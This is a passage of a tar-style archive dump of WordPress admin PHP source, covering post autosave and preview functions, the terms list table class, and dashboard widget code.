$post->ID ) && get_current_user_id() == $post->post_author && ( 'draft' == $post->post_status || 'auto-draft' == $post->post_status ) ) { $saved_post_id = edit_post(); } else { $is_autosave = true; if ( 'auto-draft' == $_POST['post_status'] ) $_POST['post_status'] = 'draft'; $saved_post_id = wp_create_post_autosave( $post->ID ); } if ( is_wp_error( $saved_post_id ) ) wp_die( $saved_post_id->get_error_message() ); $query_args = array( 'preview' => 'true' ); if ( $is_autosave && $saved_post_id ) { $query_args['preview_id'] = $post->ID; $query_args['preview_nonce'] = wp_create_nonce( 'post_preview_' . $post->ID ); if ( isset( $_POST['post_format'] ) ) $query_args['post_format'] = empty( $_POST['post_format'] ) ? 'standard' : sanitize_key( $_POST['post_format'] ); } $url = add_query_arg( $query_args, get_permalink( $post->ID ) ); /** This filter is documented in wp-admin/includes/meta-boxes.php */ return apply_filters( 'preview_post_link', $url ); } /** * Save a post submitted with XHR * * Intended for use with heartbeat and autosave.js * * @since 3.9 * * @param $post_data Associative array of the submitted post data. * @return mixed The value 0 or WP_Error on failure. The saved post ID on success. * Te ID can be the draft post_id or the autosave revision post_id. */ function wp_autosave( $post_data ) { // Back-compat if ( ! defined( 'DOING_AUTOSAVE' ) ) define( 'DOING_AUTOSAVE', true ); $post_id = (int) $post_data['post_id']; $post_data['ID'] = $post_data['post_ID'] = $post_id; if ( false === wp_verify_nonce( $post_data['_wpnonce'], 'update-post_' . $post_id ) ) { return new WP_Error( 'invalid_nonce', __( 'Error while saving.' ) ); } $post = get_post( $post_id ); if ( ! current_user_can( 'edit_post', $post->ID ) ) { return new WP_Error( 'edit_posts', __( 'You are not allowed to edit this item.' ) ); } if ( 'auto-draft' == $post->post_status ) $post_data['post_status'] = 'draft'; if ( $post_data['post_type'] != 'page' && ! empty( $post_data['catslist'] ) ) $post_data['post_category'] = explode( ',', $post_data['catslist'] ); if ( ! wp_check_post_lock( $post->ID ) && get_current_user_id() == $post->post_author && ( 'auto-draft' == $post->post_status || 'draft' == $post->post_status ) ) { // Drafts and auto-drafts are just overwritten by autosave for the same user if the post is not locked return edit_post( wp_slash( $post_data ) ); } else { // Non drafts or other users drafts are not overwritten. The autosave is stored in a special post revision for each user. return wp_create_post_autosave( wp_slash( $post_data ) ); } } class-wp-terms-list-table.php000077700000034065151514577750012234 0ustar00<?php /** * Terms List Table class. * * @package WordPress * @subpackage List_Table * @since 3.1.0 * @access private */ class WP_Terms_List_Table extends WP_List_Table { var $callback_args; function __construct( $args = array() ) { global $post_type, $taxonomy, $action, $tax; parent::__construct( array( 'plural' => 'tags', 'singular' => 'tag', 'screen' => isset( $args['screen'] ) ? $args['screen'] : null, ) ); $action = $this->screen->action; $post_type = $this->screen->post_type; $taxonomy = $this->screen->taxonomy; if ( empty( $taxonomy ) ) $taxonomy = 'post_tag'; if ( ! taxonomy_exists( $taxonomy ) ) wp_die( __( 'Invalid taxonomy' ) ); $tax = get_taxonomy( $taxonomy ); // @todo Still needed? Maybe just the show_ui part. if ( empty( $post_type ) || !in_array( $post_type, get_post_types( array( 'show_ui' => true ) ) ) ) $post_type = 'post'; } function ajax_user_can() { return current_user_can( get_taxonomy( $this->screen->taxonomy )->cap->manage_terms ); } function prepare_items() { $tags_per_page = $this->get_items_per_page( 'edit_' . $this->screen->taxonomy . '_per_page' ); if ( 'post_tag' == $this->screen->taxonomy ) { /** * Filter the number of terms displayed per page for the Tags list table. * * @since 2.8.0 * * @param int $tags_per_page Number of tags to be displayed. Default 20. */ $tags_per_page = apply_filters( 'edit_tags_per_page', $tags_per_page ); /** * Filter the number of terms displayed per page for the Tags list table. * * @since 2.7.0 * @deprecated 2.8.0 Use edit_tags_per_page instead. * * @param int $tags_per_page Number of tags to be displayed. Default 20. */ $tags_per_page = apply_filters( 'tagsperpage', $tags_per_page ); } elseif ( 'category' == $this->screen->taxonomy ) { /** * Filter the number of terms displayed per page for the Categories list table. * * @since 2.8.0 * * @param int $tags_per_page Number of categories to be displayed. Default 20. */ $tags_per_page = apply_filters( 'edit_categories_per_page', $tags_per_page ); } $search = !empty( $_REQUEST['s'] ) ? trim( wp_unslash( $_REQUEST['s'] ) ) : ''; $args = array( 'search' => $search, 'page' => $this->get_pagenum(), 'number' => $tags_per_page, ); if ( !empty( $_REQUEST['orderby'] ) ) $args['orderby'] = trim( wp_unslash( $_REQUEST['orderby'] ) ); if ( !empty( $_REQUEST['order'] ) ) $args['order'] = trim( wp_unslash( $_REQUEST['order'] ) ); $this->callback_args = $args; $this->set_pagination_args( array( 'total_items' => wp_count_terms( $this->screen->taxonomy, compact( 'search' ) ), 'per_page' => $tags_per_page, ) ); } function has_items() { // todo: populate $this->items in prepare_items() return true; } function get_bulk_actions() { $actions = array(); $actions['delete'] = __( 'Delete' ); return $actions; } function current_action() { if ( isset( $_REQUEST['action'] ) && isset( $_REQUEST['delete_tags'] ) && ( 'delete' == $_REQUEST['action'] || 'delete' == $_REQUEST['action2'] ) ) return 'bulk-delete'; return parent::current_action(); } function get_columns() { $columns = array( 'cb' => '<input type="checkbox" />', 'name' => _x( 'Name', 'term name' ), 'description' => __( 'Description' ), 'slug' => __( 'Slug' ), ); if ( 'link_category' == $this->screen->taxonomy ) { $columns['links'] = __( 'Links' ); } else { $post_type_object = get_post_type_object( $this->screen->post_type ); $columns['posts'] = $post_type_object ? $post_type_object->labels->name : __( 'Posts' ); } return $columns; } function get_sortable_columns() { return array( 'name' => 'name', 'description' => 'description', 'slug' => 'slug', 'posts' => 'count', 'links' => 'count' ); } function display_rows_or_placeholder() { $taxonomy = $this->screen->taxonomy; $args = wp_parse_args( $this->callback_args, array( 'page' => 1, 'number' => 20, 'search' => '', 'hide_empty' => 0 ) ); extract( $args, EXTR_SKIP ); $args['offset'] = $offset = ( $page - 1 ) * $number; // convert it to table rows $count = 0; $terms = array(); if ( is_taxonomy_hierarchical( $taxonomy ) && !isset( $orderby ) ) { // We'll need the full set of terms then. $args['number'] = $args['offset'] = 0; } $terms = get_terms( $taxonomy, $args ); if ( empty( $terms ) ) { list( $columns, $hidden ) = $this->get_column_info(); echo '<tr class="no-items"><td class="colspanchange" colspan="' . $this->get_column_count() . '">'; $this->no_items(); echo '</td></tr>'; return; } if ( is_taxonomy_hierarchical( $taxonomy ) && !isset( $orderby ) ) { if ( !empty( $search ) ) // Ignore children on searches. $children = array(); else $children = _get_term_hierarchy( $taxonomy ); // Some funky recursion to get the job done( Paging & parents mainly ) is contained within, Skip it for non-hierarchical taxonomies for performance sake $this->_rows( $taxonomy, $terms, $children, $offset, $number, $count ); } else { $terms = get_terms( $taxonomy, $args ); foreach ( $terms as $term ) $this->single_row( $term ); $count = $number; // Only displaying a single page. } } function _rows( $taxonomy, $terms, &$children, $start, $per_page, &$count, $parent = 0, $level = 0 ) { $end = $start + $per_page; foreach ( $terms as $key => $term ) { if ( $count >= $end ) break; if ( $term->parent != $parent && empty( $_REQUEST['s'] ) ) continue; // If the page starts in a subtree, print the parents. if ( $count == $start && $term->parent > 0 && empty( $_REQUEST['s'] ) ) { $my_parents = $parent_ids = array(); $p = $term->parent; while ( $p ) { $my_parent = get_term( $p, $taxonomy ); $my_parents[] = $my_parent; $p = $my_parent->parent; if ( in_array( $p, $parent_ids ) ) // Prevent parent loops. break; $parent_ids[] = $p; } unset( $parent_ids ); $num_parents = count( $my_parents ); while ( $my_parent = array_pop( $my_parents ) ) { echo "\t"; $this->single_row( $my_parent, $level - $num_parents ); $num_parents--; } } if ( $count >= $start ) { echo "\t"; $this->single_row( $term, $level ); } ++$count; unset( $terms[$key] ); if ( isset( $children[$term->term_id] ) && empty( $_REQUEST['s'] ) ) $this->_rows( $taxonomy, $terms, $children, $start, $per_page, $count, $term->term_id, $level + 1 ); } } function single_row( $tag, $level = 0 ) { static $row_class = ''; $row_class = ( $row_class == '' ? ' class="alternate"' : '' ); $this->level = $level; echo '<tr id="tag-' . $tag->term_id . '"' . $row_class . '>'; $this->single_row_columns( $tag ); echo '</tr>'; } function column_cb( $tag ) { $default_term = get_option( 'default_' . $this->screen->taxonomy ); if ( current_user_can( get_taxonomy( $this->screen->taxonomy )->cap->delete_terms ) && $tag->term_id != $default_term ) return '<label class="screen-reader-text" for="cb-select-' . $tag->term_id . '">' . sprintf( __( 'Select %s' ), $tag->name ) . '</label>' . '<input type="checkbox" name="delete_tags[]" value="' . $tag->term_id . '" id="cb-select-' . $tag->term_id . '" />'; return ' '; } function column_name( $tag ) { $taxonomy = $this->screen->taxonomy; $tax = get_taxonomy( $taxonomy ); $default_term = get_option( 'default_' . $taxonomy ); $pad = str_repeat( '— ', max( 0, $this->level ) ); /** * Filter display of the term name in the terms list table. * * The default output may include padding due to the term's * current level in the term hierarchy. * * @since 2.5.0 * * @see WP_Terms_List_Table::column_name() * * @param string $pad_tag_name The term name, padded if not top-level. * @param object $tag Term object. */ $name = apply_filters( 'term_name', $pad . ' ' . $tag->name, $tag ); $qe_data = get_term( $tag->term_id, $taxonomy, OBJECT, 'edit' ); $edit_link = esc_url( get_edit_term_link( $tag->term_id, $taxonomy, $this->screen->post_type ) ); $out = '<strong><a class="row-title" href="' . $edit_link . '" title="' . esc_attr( sprintf( __( 'Edit “%s”' ), $name ) ) . '">' . $name . '</a></strong><br />'; $actions = array(); if ( current_user_can( $tax->cap->edit_terms ) ) { $actions['edit'] = '<a href="' . $edit_link . '">' . __( 'Edit' ) . '</a>'; $actions['inline hide-if-no-js'] = '<a href="#" class="editinline">' . __( 'Quick Edit' ) . '</a>'; } if ( current_user_can( $tax->cap->delete_terms ) && $tag->term_id != $default_term ) $actions['delete'] = "<a class='delete-tag' href='" . wp_nonce_url( "edit-tags.php?action=delete&taxonomy=$taxonomy&tag_ID=$tag->term_id", 'delete-tag_' . $tag->term_id ) . "'>" . __( 'Delete' ) . "</a>"; if ( $tax->public ) $actions['view'] = '<a href="' . get_term_link( $tag ) . '">' . __( 'View' ) . '</a>'; /** * Filter the action links displayed for each term in the Tags list table. * * @since 2.8.0 * @deprecated 3.0.0 Use {$taxonomy}_row_actions instead. * * @param array $actions An array of action links to be displayed. Default * 'Edit', 'Quick Edit', 'Delete', and 'View'. * @param object $tag Term object. */ $actions = apply_filters( 'tag_row_actions', $actions, $tag ); /** * Filter the action links displayed for each term in the terms list table. * * The dynamic portion of the hook name, $taxonomy, refers to the taxonomy slug. * * @since 3.0.0 * * @param array $actions An array of action links to be displayed. Default * 'Edit', 'Quick Edit', 'Delete', and 'View'. * @param object $tag Term object. */ $actions = apply_filters( "{$taxonomy}_row_actions", $actions, $tag ); $out .= $this->row_actions( $actions ); $out .= '<div class="hidden" id="inline_' . $qe_data->term_id . '">'; $out .= '<div class="name">' . $qe_data->name . '</div>'; /** This filter is documented in wp-admin/edit-tag-form.php */ $out .= '<div class="slug">' . apply_filters( 'editable_slug', $qe_data->slug ) . '</div>'; $out .= '<div class="parent">' . $qe_data->parent . '</div></div>'; return $out; } function column_description( $tag ) { return $tag->description; } function column_slug( $tag ) { /** This filter is documented in wp-admin/edit-tag-form.php */ return apply_filters( 'editable_slug', $tag->slug ); } function column_posts( $tag ) { $count = number_format_i18n( $tag->count ); $tax = get_taxonomy( $this->screen->taxonomy ); $ptype_object = get_post_type_object( $this->screen->post_type ); if ( ! $ptype_object->show_ui ) return $count; if ( $tax->query_var ) { $args = array( $tax->query_var => $tag->slug ); } else { $args = array( 'taxonomy' => $tax->name, 'term' => $tag->slug ); } if ( 'post' != $this->screen->post_type ) $args['post_type'] = $this->screen->post_type; if ( 'attachment' == $this->screen->post_type ) return "<a href='" . esc_url ( add_query_arg( $args, 'upload.php' ) ) . "'>$count</a>"; return "<a href='" . esc_url ( add_query_arg( $args, 'edit.php' ) ) . "'>$count</a>"; } function column_links( $tag ) { $count = number_format_i18n( $tag->count ); if ( $count ) $count = "<a href='link-manager.php?cat_id=$tag->term_id'>$count</a>"; return $count; } function column_default( $tag, $column_name ) { /** * Filter the displayed columns in the terms list table. * * The dynamic portion of the hook name, $this->screen->taxonomy, * refers to the slug of the current taxonomy. * * @since 2.8.0 * * @param string $string Blank string. * @param string $column_name Name of the column. * @param int $term_id Term ID. */ return apply_filters( "manage_{$this->screen->taxonomy}_custom_column", '', $column_name, $tag->term_id ); } /** * Outputs the hidden row displayed when inline editing * * @since 3.1.0 */ function inline_edit() { $tax = get_taxonomy( $this->screen->taxonomy ); if ( ! current_user_can( $tax->cap->edit_terms ) ) return; ?> <form method="get" action=""><table style="display: none"><tbody id="inlineedit"> <tr id="inline-edit" class="inline-edit-row" style="display: none"><td colspan="<?php echo $this->get_column_count(); ?>" class="colspanchange"> <fieldset><div class="inline-edit-col"> <h4><?php _e( 'Quick Edit' ); ?></h4> <label> <span class="title"><?php _ex( 'Name', 'term name' ); ?></span> <span class="input-text-wrap"><input type="text" name="name" class="ptitle" value="" /></span> </label> <?php if ( !global_terms_enabled() ) { ?> <label> <span class="title"><?php _e( 'Slug' ); ?></span> <span class="input-text-wrap"><input type="text" name="slug" class="ptitle" value="" /></span> </label> <?php } ?> </div></fieldset> <?php $core_columns = array( 'cb' => true, 'description' => true, 'name' => true, 'slug' => true, 'posts' => true ); list( $columns ) = $this->get_column_info(); foreach ( $columns as $column_name => $column_display_name ) { if ( isset( $core_columns[$column_name] ) ) continue; /** This action is documented in wp-admin/includes/class-wp-posts-list-table.php */ do_action( 'quick_edit_custom_box', $column_name, 'edit-tags', $this->screen->taxonomy ); } ?> <p class="inline-edit-save submit"> <a accesskey="c" href="#inline-edit" class="cancel button-secondary alignleft"><?php _e( 'Cancel' ); ?></a> <a accesskey="s" href="#inline-edit" class="save button-primary alignright"><?php echo $tax->labels->update_item; ?></a> <span class="spinner"></span> <span class="error" style="display:none;"></span> <?php wp_nonce_field( 'taxinlineeditnonce', '_inline_edit', false ); ?> <input type="hidden" name="taxonomy" value="<?php echo esc_attr( $this->screen->taxonomy ); ?>" /> <input type="hidden" name="post_type" value="<?php echo esc_attr( $this->screen->post_type ); ?>" /> <br class="clear" /> </p> </td></tr> </tbody></table></form> <?php } } dashboard.php000077700000134525151514577750007246 0ustar00<?php /** * WordPress Dashboard Widget Administration Screen API * * @package WordPress * @subpackage Administration */ /** * Registers dashboard widgets. * * Handles POST data, sets up filters. * * @since 2.5.0 */ function wp_dashboard_setup() { global $wp_registered_widgets, $wp_registered_widget_controls, $wp_dashboard_control_callbacks; $wp_dashboard_control_callbacks = array(); $screen = get_current_screen(); $update = false; $widget_options = get_option( 'dashboard_widget_options' ); if ( !$widget_options || !is_array($widget_options) ) $widget_options = array(); /* Register Widgets and Controls */ $response = wp_check_browser_version(); if ( $response && $response['upgrade'] ) { add_filter( 'postbox_classes_dashboard_dashboard_browser_nag', 'dashboard_browser_nag_class' ); if ( $response['insecure'] ) wp_add_dashboard_widget( 'dashboard_browser_nag', __( 'You are using an insecure browser!' ), 'wp_dashboard_browser_nag' ); else wp_add_dashboard_widget( 'dashboard_browser_nag', __( 'Your browser is out of date!' ), 'wp_dashboard_browser_nag' ); } // Right Now if ( is_blog_admin() && current_user_can('edit_posts') ) wp_add_dashboard_widget( 'dashboard_right_now', __( 'At a Glance' ), 'wp_dashboard_right_now' ); if ( is_network_admin() ) wp_add_dashboard_widget( 'network_dashboard_right_now', __( 'Right Now' ), 'wp_network_dashboard_right_now' ); // Activity Widget if ( is_blog_admin() ) { wp_add_dashboard_widget( 'dashboard_activity', __( 'Activity' ), 'wp_dashboard_site_activity' ); } // QuickPress Widget if ( is_blog_admin() && current_user_can( 'edit_posts' ) ) { $quick_draft_title = sprintf( '<span class="hide-if-no-js">%1$s</span> <span class="hide-if-js">%2$s</span>', __( 'Quick Draft' ), __( 'Drafts' ) ); wp_add_dashboard_widget( 'dashboard_quick_press', $quick_draft_title, 'wp_dashboard_quick_press' ); } // WordPress News wp_add_dashboard_widget( 'dashboard_primary', __( 'WordPress News' ), 'wp_dashboard_primary' ); if ( is_network_admin() ) { /** * Fires after core widgets for the Network Admin dashboard have been registered. * * @since 3.1.0 */ do_action( 'wp_network_dashboard_setup' ); /** * Filter the list of widgets to load for the Network Admin dashboard. * * @since 3.1.0 * * @param array $dashboard_widgets An array of dashboard widgets. */ $dashboard_widgets = apply_filters( 'wp_network_dashboard_widgets', array() ); } elseif ( is_user_admin() ) { /** * Fires after core widgets for the User Admin dashboard have been registered. * * @since 3.1.0 */ do_action( 'wp_user_dashboard_setup' ); /** * Filter the list of widgets to load for the User Admin dashboard. * * @since 3.1.0 * * @param array $dashboard_widgets An array of dashboard widgets. */ $dashboard_widgets = apply_filters( 'wp_user_dashboard_widgets', array() ); } else { /** * Fires after core widgets for the admin dashboard have been registered. * * @since 2.5.0 */ do_action( 'wp_dashboard_setup' ); /** * Filter the list of widgets to load for the admin dashboard. * * @since 2.5.0 * * @param array $dashboard_widgets An array of dashboard widgets. */ $dashboard_widgets = apply_filters( 'wp_dashboard_widgets', array() ); } foreach ( $dashboard_widgets as $widget_id ) { $name = empty( $wp_registered_widgets[$widget_id]['all_link'] ) ? $wp_registered_widgets[$widget_id]['name'] : $wp_registered_widgets[$widget_id]['name'] . " <a href='{$wp_registered_widgets[$widget_id]['all_link']}' class='edit-box open-box'>" . __('View all') . '</a>'; wp_add_dashboard_widget( $widget_id, $name, $wp_registered_widgets[$widget_id]['callback'], $wp_registered_widget_controls[$widget_id]['callback'] ); } if ( 'POST' == $_SERVER['REQUEST_METHOD'] && isset($_POST['widget_id']) ) { check_admin_referer( 'edit-dashboard-widget_' . $_POST['widget_id'], 'dashboard-widget-nonce' ); ob_start(); // hack - but the same hack wp-admin/widgets.php uses wp_dashboard_trigger_widget_control( $_POST['widget_id'] ); ob_end_clean(); wp_redirect( remove_query_arg( 'edit' ) ); exit; } if ( $update ) update_option( 'dashboard_widget_options', $widget_options ); /** This action is documented in wp-admin/edit-form-advanced.php */ do_action( 'do_meta_boxes', $screen->id, 'normal', '' ); /** This action is documented in wp-admin/edit-form-advanced.php */ do_action( 'do_meta_boxes', $screen->id, 'side', '' ); } function wp_add_dashboard_widget( $widget_id, $widget_name, $callback, $control_callback = null, $callback_args = null ) { $screen = get_current_screen(); global $wp_dashboard_control_callbacks; if ( $control_callback && current_user_can( 'edit_dashboard' ) && is_callable( $control_callback ) ) { $wp_dashboard_control_callbacks[$widget_id] = $control_callback; if ( isset( $_GET['edit'] ) && $widget_id == $_GET['edit'] ) { list($url) = explode( '#', add_query_arg( 'edit', false ), 2 ); $widget_name .= ' <span class="postbox-title-action"><a href="' . esc_url( $url ) . '">' . __( 'Cancel' ) . '</a></span>'; $callback = '_wp_dashboard_control_callback'; } else { list($url) = explode( '#', add_query_arg( 'edit', $widget_id ), 2 ); $widget_name .= ' <span class="postbox-title-action"><a href="' . esc_url( "$url#$widget_id" ) . '" class="edit-box open-box">' . __( 'Configure' ) . '</a></span>'; } } $side_widgets = array( 'dashboard_quick_press', 'dashboard_primary' ); $location = 'normal'; if ( in_array($widget_id, $side_widgets) ) $location = 'side'; $priority = 'core'; if ( 'dashboard_browser_nag' === $widget_id ) $priority = 'high'; add_meta_box( $widget_id, $widget_name, $callback, $screen, $location, $priority, $callback_args ); } function _wp_dashboard_control_callback( $dashboard, $meta_box ) { echo '<form action="" method="post" class="dashboard-widget-control-form">'; wp_dashboard_trigger_widget_control( $meta_box['id'] ); wp_nonce_field( 'edit-dashboard-widget_' . $meta_box['id'], 'dashboard-widget-nonce' ); echo '<input type="hidden" name="widget_id" value="' . esc_attr($meta_box['id']) . '" />'; submit_button( __('Submit') ); echo '</form>'; } /** * Displays the dashboard. * * @since 2.5.0 */ function wp_dashboard() { $screen = get_current_screen(); $columns = absint( $screen->get_columns() ); $columns_css = ''; if ( $columns ) { $columns_css = " columns-$columns"; } ?> <div id="dashboard-widgets" class="metabox-holder<?php echo $columns_css; ?>"> <div id='postbox-container-1' class='postbox-container'> <?php do_meta_boxes( $screen->id, 'normal', '' ); ?> </div> <div id='postbox-container-2' class='postbox-container'> <?php do_meta_boxes( $screen->id, 'side', '' ); ?> </div> <div id='postbox-container-3' class='postbox-container'> <?php do_meta_boxes( $screen->id, 'column3', '' ); ?> </div> <div id='postbox-container-4' class='postbox-container'> <?php do_meta_boxes( $screen->id, 'column4', '' ); ?> </div> </div> <?php wp_nonce_field( 'closedpostboxes', 'closedpostboxesnonce', false ); wp_nonce_field( 'meta-box-order', 'meta-box-order-nonce', false ); } // // Dashboard Widgets // /** * Dashboard widget that displays some basic stats about the site. * * Formerly 'Right Now'. A streamlined 'At a Glance' as of 3.8. * * @since 2.7.0 */ function wp_dashboard_right_now() { $theme = wp_get_theme(); if ( current_user_can( 'switch_themes' ) ) $theme_name = sprintf( '<a href="themes.php">%1$s</a>', $theme->display('Name') ); else $theme_name = $theme->display('Name'); ?> <div class="main"> <ul> <?php // Posts and Pages foreach ( array( 'post', 'page' ) as $post_type ) { $num_posts = wp_count_posts( $post_type ); if ( $num_posts && $num_posts->publish ) { if ( 'post' == $post_type ) { $text = _n( '%s Post', '%s Posts', $num_posts->publish ); } else { $text = _n( '%s Page', '%s Pages', $num_posts->publish ); } $text = sprintf( $text, number_format_i18n( $num_posts->publish ) ); $post_type_object = get_post_type_object( $post_type ); if ( $post_type_object && current_user_can( $post_type_object->cap->edit_posts ) ) { printf( '<li class="%1$s-count"><a href="edit.php?post_type=%1$s">%2$s</a></li>', $post_type, $text ); } else { printf( '<li class="%1$s-count"><span>%2$s</span></li>', $post_type, $text ); } } } // Comments $num_comm = wp_count_comments(); if ( $num_comm && $num_comm->total_comments ) { $text = sprintf( _n( '%s Comment', '%s Comments', $num_comm->total_comments ), number_format_i18n( $num_comm->total_comments ) ); ?> <li class="comment-count"><a href="edit-comments.php"><?php echo $text; ?></a></li> <?php if ( $num_comm->moderated ) { /* translators: Number of comments in moderation */ $text = sprintf( _nx( '%s in moderation', '%s in moderation', $num_comm->moderated, 'comments' ), number_format_i18n( $num_comm->moderated ) ); ?> <li class="comment-mod-count"><a href="edit-comments.php?comment_status=moderated"><?php echo $text; ?></a></li> <?php } } /** * Filter the array of extra elements to list in the 'At a Glance' * dashboard widget. * * Prior to 3.8.0, the widget was named 'Right Now'. Each element * is wrapped in list-item tags on output. * * @since 3.8.0 * * @param array $items Array of extra 'At a Glance' widget items. */ $elements = apply_filters( 'dashboard_glance_items', array() ); if ( $elements ) { echo '<li>' . implode( "</li>\n<li>", $elements ) . "</li>\n"; } ?> </ul> <?php update_right_now_message(); // Check if search engines are asked not to index this site. if ( ! is_network_admin() && ! is_user_admin() && current_user_can( 'manage_options' ) && '1' != get_option( 'blog_public' ) ) { /** * Filter the link title attribute for the 'Search Engines Discouraged' * message displayed in the 'At a Glance' dashboard widget. * * Prior to 3.8.0, the widget was named 'Right Now'. * * @since 3.0.0 * * @param string $title Default attribute text. */ $title = apply_filters( 'privacy_on_link_title', __( 'Your site is asking search engines not to index its content' ) ); /** * Filter the link label for the 'Search Engines Discouraged' message * displayed in the 'At a Glance' dashboard widget. * * Prior to 3.8.0, the widget was named 'Right Now'. * * @since 3.0.0 * * @param string $content Default text. */ $content = apply_filters( 'privacy_on_link_text' , __( 'Search Engines Discouraged' ) ); echo "<p><a href='options-reading.php' title='$title'>$content</a></p>"; } ?> </div> <?php /* * activity_box_end has a core action, but only prints content when multisite. * Using an output buffer is the only way to really check if anything's displayed here. */ ob_start(); /** * Fires at the end of the 'At a Glance' dashboard widget. * * Prior to 3.8.0, the widget was named 'Right Now'. * * @since 2.5.0 */ do_action( 'rightnow_end' ); /** * Fires at the end of the 'At a Glance' dashboard widget. * * Prior to 3.8.0, the widget was named 'Right Now'. * * @since 2.0.0 */ do_action( 'activity_box_end' ); $actions = ob_get_clean(); if ( !empty( $actions ) ) : ?> <div class="sub"> <?php echo $actions; ?> </div> <?php endif; } function wp_network_dashboard_right_now() { $actions = array(); if ( current_user_can('create_sites') ) $actions['create-site'] = '<a href="' . network_admin_url('site-new.php') . '">' . __( 'Create a New Site' ) . '</a>'; if ( current_user_can('create_users') ) $actions['create-user'] = '<a href="' . network_admin_url('user-new.php') . '">' . __( 'Create a New User' ) . '</a>'; $c_users = get_user_count(); $c_blogs = get_blog_count(); $user_text = sprintf( _n( '%s user', '%s users', $c_users ), number_format_i18n( $c_users ) ); $blog_text = sprintf( _n( '%s site', '%s sites', $c_blogs ), number_format_i18n( $c_blogs ) ); $sentence = sprintf( __( 'You have %1$s and %2$s.' ), $blog_text, $user_text ); if ( $actions ) { echo '<ul class="subsubsub">'; foreach ( $actions as $class => $action ) { $actions[ $class ] = "\t<li class='$class'>$action"; } echo implode( " |</li>\n", $actions ) . "</li>\n"; echo '</ul>'; } ?> <br class="clear" /> <p class="youhave"><?php echo $sentence; ?></p> <?php /** * Fires in the Network Admin 'Right Now' dashboard widget * just before the user and site search form fields. * * @since MU * * @param null $unused */ do_action( 'wpmuadminresult', '' ); ?> <form action="<?php echo network_admin_url('users.php'); ?>" method="get"> <p> <input type="search" name="s" value="" size="30" autocomplete="off" /> <?php submit_button( __( 'Search Users' ), 'button', 'submit', false, array( 'id' => 'submit_users' ) ); ?> </p> </form> <form action="<?php echo network_admin_url('sites.php'); ?>" method="get"> <p> <input type="search" name="s" value="" size="30" autocomplete="off" /> <?php submit_button( __( 'Search Sites' ), 'button', 'submit', false, array( 'id' => 'submit_sites' ) ); ?> </p> </form> <?php /** * Fires at the end of the 'Right Now' widget in the Network Admin dashboard. * * @since MU */ do_action( 'mu_rightnow_end' ); /** * Fires at the end of the 'Right Now' widget in the Network Admin dashboard. * * @since MU */ do_action( 'mu_activity_box_end' ); } /** * The Quick Draft widget display and creation of drafts. * * @since 3.8.0 * * @param string $error_msg Optional. Error message. Default false. */ function wp_dashboard_quick_press( $error_msg = false ) { global $post_ID; if ( ! current_user_can( 'edit_posts' ) ) { return; } /* Check if a new auto-draft (= no new post_ID) is needed or if the old can be used */ $last_post_id = (int) get_user_option( 'dashboard_quick_press_last_post_id' ); // Get the last post_ID if ( $last_post_id ) { $post = get_post( $last_post_id ); if ( empty( $post ) || $post->post_status != 'auto-draft' ) { // auto-draft doesn't exists anymore $post = get_default_post_to_edit( 'post', true ); update_user_option( get_current_user_id(), 'dashboard_quick_press_last_post_id', (int) $post->ID ); // Save post_ID } else { $post->post_title = ''; // Remove the auto draft title } } else { $post = get_default_post_to_edit( 'post' , true); $user_id = get_current_user_id(); // Don't create an option if this is a super admin who does not belong to this site. if ( ! ( is_super_admin( $user_id ) && ! in_array( get_current_blog_id(), array_keys( get_blogs_of_user( $user_id ) ) ) ) ) update_user_option( $user_id, 'dashboard_quick_press_last_post_id', (int) $post->ID ); // Save post_ID } $post_ID = (int) $post->ID; ?> <form name="post" action="<?php echo esc_url( admin_url( 'post.php' ) ); ?>" method="post" id="quick-press" class="initial-form hide-if-no-js"> <?php if ( $error_msg ) : ?> <div class="error"><?php echo $error_msg; ?></div> <?php endif; ?> <div class="input-text-wrap" id="title-wrap"> <label class="screen-reader-text prompt" for="title" id="title-prompt-text"> <?php /** This filter is documented in wp-admin/edit-form-advanced.php */ echo apply_filters( 'enter_title_here', __( 'Title' ), $post ); ?> </label> <input type="text" name="post_title" id="title" autocomplete="off" /> </div> <div class="textarea-wrap" id="description-wrap"> <label class="screen-reader-text prompt" for="content" id="content-prompt-text"><?php _e( 'What’s on your mind?' ); ?></label> <textarea name="content" id="content" class="mceEditor" rows="3" cols="15"></textarea> </div> <p class="submit"> <input type="hidden" name="action" id="quickpost-action" value="post-quickdraft-save" /> <input type="hidden" name="post_ID" value="<?php echo $post_ID; ?>" /> <input type="hidden" name="post_type" value="post" /> <?php wp_nonce_field( 'add-post' ); ?> <?php submit_button( __( 'Save Draft' ), 'primary', 'save', false, array( 'id' => 'save-post' ) ); ?> <br class="clear" /> </p> </form> <?php wp_dashboard_recent_drafts(); } /** * Show recent drafts of the user on the dashboard. * * @since 2.7.0 */ function wp_dashboard_recent_drafts( $drafts = false ) { if ( ! $drafts ) { $query_args = array( 'post_type' => 'post', 'post_status' => 'draft', 'author' => get_current_user_id(), 'posts_per_page' => 4, 'orderby' => 'modified', 'order' => 'DESC' ); $drafts = get_posts( $query_args ); if ( ! $drafts ) { return; } } echo '<div class="drafts">'; if ( count( $drafts ) > 3 ) { echo '<p class="view-all"><a href="' . esc_url( admin_url( 'edit.php?post_status=draft' ) ) . '">' . _x( 'View all', 'drafts' ) . "</a></p>\n"; } echo '<h4 class="hide-if-no-js">' . __( 'Drafts' ) . "</h4>\n<ul>"; $drafts = array_slice( $drafts, 0, 3 ); foreach ( $drafts as $draft ) { $url = get_edit_post_link( $draft->ID ); $title = _draft_or_post_title( $draft->ID ); echo "<li>\n"; echo '<div class="draft-title"><a href="' . esc_url( $url ) . '" title="' . esc_attr( sprintf( __( 'Edit “%s”' ), $title ) ) . '">' . esc_html( $title ) . '</a>'; echo '<time datetime="' . get_the_time( 'c', $draft ) . '">' . get_the_time( get_option( 'date_format' ), $draft ) . '</time></div>'; if ( $the_content = wp_trim_words( $draft->post_content, 10 ) ) { echo '<p>' . $the_content . '</p>'; } echo "</li>\n"; } echo "</ul>\n</div>"; } function _wp_dashboard_recent_comments_row( &$comment, $show_date = true ) { $GLOBALS['comment'] =& $comment; $comment_post_title = _draft_or_post_title( $comment->comment_post_ID ); if ( current_user_can( 'edit_post', $comment->comment_post_ID ) ) { $comment_post_url = get_edit_post_link( $comment->comment_post_ID ); $comment_post_link = "<a href='$comment_post_url'>$comment_post_title</a>"; } else { $comment_post_link = $comment_post_title; } $comment_link = '<a class="comment-link" href="' . esc_url(get_comment_link()) . '">#</a>'; $actions_string = ''; if ( current_user_can( 'edit_comment', $comment->comment_ID ) ) { // preorder it: Approve | Reply | Edit | Spam | Trash $actions = array( 'approve' => '', 'unapprove' => '', 'reply' => '', 'edit' 